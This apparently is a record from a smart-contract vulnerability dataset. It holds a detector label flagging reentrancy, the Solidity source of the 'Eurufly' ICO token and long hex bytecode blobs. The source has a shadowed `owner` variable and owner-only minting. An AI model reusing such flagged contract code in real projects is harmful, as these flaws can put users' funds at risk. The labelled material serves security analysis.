516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220212ff9c0b664fdff718c3e1511d19f37de52a0f614cd6960ccaa5ce9a06e5b5564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,390 |
0xf4d0c50b7f10078d8bfe33e7f3d4bcbf7f631f83
|
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Eurufly is StandardToken, Ownable{
string public constant name = "Eurufly";
string public constant symbol = "EUR";
uint8 public constant decimals = 18;
uint256 public priceOfToken = 2500; // 1 ether = 2500 EUR
uint256 public icoStartAt ;
uint256 public icoEndAt ;
uint256 public preIcoStartAt ;
uint256 public preIcoEndAt ;
uint256 public prePreIcoStartAt;
uint256 public prePreIcoEndAt;
STATE public state = STATE.UNKNOWN;
address wallet ; // Where all ether is transfered
// Amount of wei raised
uint256 public weiRaised;
address public owner ;
enum STATE{UNKNOWN, PREPREICO, PREICO, POSTICO}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function transfer(address _to, uint _value) public returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
// Start Pre Pre ICO
function startPrePreIco(uint256 x) public onlyOwner{
require(state == STATE.UNKNOWN);
prePreIcoStartAt = block.timestamp ;
prePreIcoEndAt = block.timestamp + x * 1 days ; // pre pre
state = STATE.PREPREICO;
}
// Start Pre ICO
function startPreIco(uint256 x) public onlyOwner{
require(state == STATE.PREPREICO);
preIcoStartAt = block.timestamp ;
preIcoEndAt = block.timestamp + x * 1 days ; // pre
state = STATE.PREICO;
}
// Start POSTICO
function startPostIco(uint256 x) public onlyOwner{
require(state == STATE.PREICO);
icoStartAt = block.timestamp ;
icoEndAt = block.timestamp + x * 1 days;
state = STATE.POSTICO;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(priceOfToken);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function () external payable {
require(totalSupply_<= 10 ** 26);
require(state != STATE.UNKNOWN);
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
require(_beneficiary != address(0x0));
if(state == STATE.PREPREICO){
require(now >= prePreIcoStartAt && now <= prePreIcoEndAt);
require(msg.value <= 10 ether);
}else if(state == STATE.PREICO){
require(now >= preIcoStartAt && now <= preIcoEndAt);
require(msg.value <= 15 ether);
}else if(state == STATE.POSTICO){
require(now >= icoStartAt && now <= icoEndAt);
require(msg.value <= 20 ether);
}
uint256 weiAmount = msg.value;
uint256 tokens = _getTokenAmount(weiAmount);
if(state == STATE.PREPREICO){ // bonuses
tokens = tokens.add(tokens.mul(30).div(100));
}else if(state == STATE.PREICO){
tokens = tokens.add(tokens.mul(25).div(100));
}else if(state == STATE.POSTICO){
tokens = tokens.add(tokens.mul(20).div(100));
}
totalSupply_ = totalSupply_.add(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(0), msg.sender, tokens);
// update state
weiRaised = weiRaised.add(weiAmount);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
constructor(address ethWallet) public{
wallet = ethWallet;
owner = msg.sender;
}
function emergencyERC20Drain(ERC20 token, uint amount) public onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
function allocate(address user, uint256 amount) public onlyOwner{
require(totalSupply_.add(amount) <= 10 ** 26 );
uint256 tokens = amount * (10 ** 18);
totalSupply_ = totalSupply_.add(tokens);
balances[user] = balances[user].add(tokens);
emit Transfer(address(0), user , tokens);
}
}
|
0x60806040526004361061016a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c6578063095ea7b3146102565780630c2e4bf4146102bb57806318160ddd146102e65780631b9cbdfb1461031157806323b872dd1461033c5780632cb86824146103c1578063313ce567146103ec5780634042b66f1461041d578063436d796c146104485780635cb7226d1461047557806366188463146104a057806370a08231146105055780638da5cb5b1461055c57806395d89b41146105b3578063a004737a14610643578063a5ef69ea14610670578063a9059cbb1461069b578063b78b52df14610700578063c19d93fb1461074d578063ceefbbd614610786578063d73dd623146107b1578063d91d81c614610816578063db0e16f114610841578063dd62ed3e1461088e578063e55b69b314610905578063ec8ac4d814610932578063f2fde38b14610968575b6a52b7d2dcc80cd2e40000006001541115151561018657600080fd5b6000600381111561019357fe5b600b60009054906101000a900460ff1660038111156101ae57fe5b141515156101bb57600080fd5b6101c4336109ab565b005b3480156101d257600080fd5b506101db610e21565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021b578082015181840152602081019050610200565b50505050905090810190601f1680156102485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026257600080fd5b506102a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e5a565b604051808215151515815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610f4c565b6040518082815260200191505060405180910390f35b3480156102f257600080fd5b506102fb610f52565b6040518082815260200191505060405180910390f35b34801561031d57600080fd5b50610326610f5c565b6040518082815260200191505060405180910390f35b34801561034857600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f62565b604051808215151515815260200191505060405180910390f35b3480156103cd57600080fd5b506103d6610f78565b6040518082815260200191505060405180910390f35b3480156103f857600080fd5b50610401610f7e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561042957600080fd5b50610432610f83565b6040518082815260200191505060405180910390f35b34801561045457600080fd5b5061047360048036038101908080359060200190929190505050610f89565b005b34801561048157600080fd5b5061048a611055565b6040518082815260200191505060405180910390f35b3480156104ac57600080fd5b506104eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105b565b604051808215151515815260200191505060405180910390f35b34801561051157600080fd5b50610546600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ec565b6040518082815260200191505060405180910390f35b34801561056857600080fd5b50610571611334565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105bf57600080fd5b506105c861135a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106085780820151818401526020810190506105ed565b50505050905090810190601f1680156106355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561064f57600080fd5b5061066e60048036038101908080359060200190929190505050611393565b005b34801561067c57600080fd5b5061068561145f565b6040518082815260200191505060405180910390f35b3480156106a757600080fd5b506106e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611465565b604051808215151515815260200191505060405180910390f35b34801561070c57600080fd5b5061074b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611479565b005b34801561075957600080fd5b5061076261162b565b6040518082600381111561077257fe5b60ff16815260200191505060405180910390f35b34801561079257600080fd5b5061079b61163e565b6040518082815260200191505060405180910390f35b3480156107bd57600080fd5b506107fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611644565b604051808215151515815260200191505060405180910390f35b34801561082257600080fd5b5061082b611840565b6040518082815260200191505060405180910390f35b34801561084d57600080fd5b5061088c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611846565b005b34801561089a57600080fd5b506108ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a7565b6040518082815260200191505060405180910390f35b34801561091157600080fd5b5061093060048036038101908080359060200190929190505050611a2e565b005b610966600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109ab565b005b34801561097457600080fd5b506109a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611afa565b005b600080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109ea57600080fd5b600160038111156109f757fe5b600b60009054906101000a900460ff166003811115610a1257fe5b1415610a53576009544210158015610a2c5750600a544211155b1515610a3757600080fd5b678ac7230489e800003411151515610a4e57600080fd5b610b23565b60026003811115610a6057fe5b600b60009054906101000a900460ff166003811115610a7b57fe5b1415610abc576007544210158015610a9557506008544211155b1515610aa057600080fd5b67d02ab486cedc00003411151515610ab757600080fd5b610b22565b600380811115610ac857fe5b600b60009054906101000a900460ff166003811115610ae357fe5b1415610b21576005544210158015610afd57506006544211155b1515610b0857600080fd5b6801158e460913d000003411151515610b2057600080fd5b5b5b5b349150610b2f82611c52565b905060016003811115610b3e57fe5b600b60009054906101000a900460ff166003811115610b5957fe5b1415610b9f57610b98610b896064610b7b601e85611c7090919063ffffffff16565b611cab90919063ffffffff16565b82611cc690919063ffffffff16565b9050610c78565b60026003811115610bac57fe5b600b60009054906101000a900460ff166003811115610bc757fe5b1415610c0d57610c06610bf76064610be9601985611c7090919063ffffffff16565b611cab90919063ffffffff16565b82611cc690919063ffffffff16565b9050610c77565b600380811115610c1957fe5b600b60009054906101000a900460ff166003811115610c3457fe5b1415610c7657610c73610c646064610c56601485611c7090919063ffffffff16565b611cab90919063ffffffff16565b82611cc690919063ffffffff16565b90505b5b5b610c8d81600154611cc690919063ffffffff16565b600181905550610ce4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3610da182600c54611cc690919063ffffffff16565b600c819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a3610e1c611ce2565b505050565b6040805190810160405280600781526020017f45757275666c790000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600154905090565b60045481565b6000610f6f848484611d4d565b90509392505050565b60075481565b601281565b600c5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe557600080fd5b60016003811115610ff257fe5b600b60009054906101000a900460ff16600381111561100d57fe5b14151561101957600080fd5b4260078190555062015180810242016008819055506002600b60006101000a81548160ff0219169083600381111561104d57fe5b021790555050565b60095481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561116c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611200565b61117f838261210790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f455552000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ef57600080fd5b600060038111156113fc57fe5b600b60009054906101000a900460ff16600381111561141757fe5b14151561142357600080fd5b426009819055506201518081024201600a819055506001600b60006101000a81548160ff0219169083600381111561145757fe5b021790555050565b60065481565b60006114718383612120565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114d757600080fd5b6a52b7d2dcc80cd2e40000006114f883600154611cc690919063ffffffff16565b1115151561150557600080fd5b670de0b6b3a76400008202905061152781600154611cc690919063ffffffff16565b60018190555061157e816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600b60009054906101000a900460ff1681565b600a5481565b60006116d582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60085481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561196757600080fd5b505af115801561197b573d6000803e3d6000fd5b505050506040513d602081101561199157600080fd5b8101908080519060200190929190505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8a57600080fd5b60026003811115611a9757fe5b600b60009054906101000a900460ff166003811115611ab257fe5b141515611abe57600080fd5b4260058190555062015180810242016006819055506003600b60006101000a81548160ff02191690836003811115611af257fe5b021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b5657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b9257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611c6960045483611c7090919063ffffffff16565b9050919050565b6000806000841415611c855760009150611ca4565b8284029050828482811515611c9657fe5b04141515611ca057fe5b8091505b5092915050565b6000808284811515611cb957fe5b0490508091505092915050565b60008183019050828110151515611cd957fe5b80905092915050565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611d4a573d6000803e3d6000fd5b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d8a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611dd757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e6257600080fd5b611eb3826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f46826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cc690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061201782600260008773ffffffffffffffffffffffffffffffffffffffff1673fffffffffff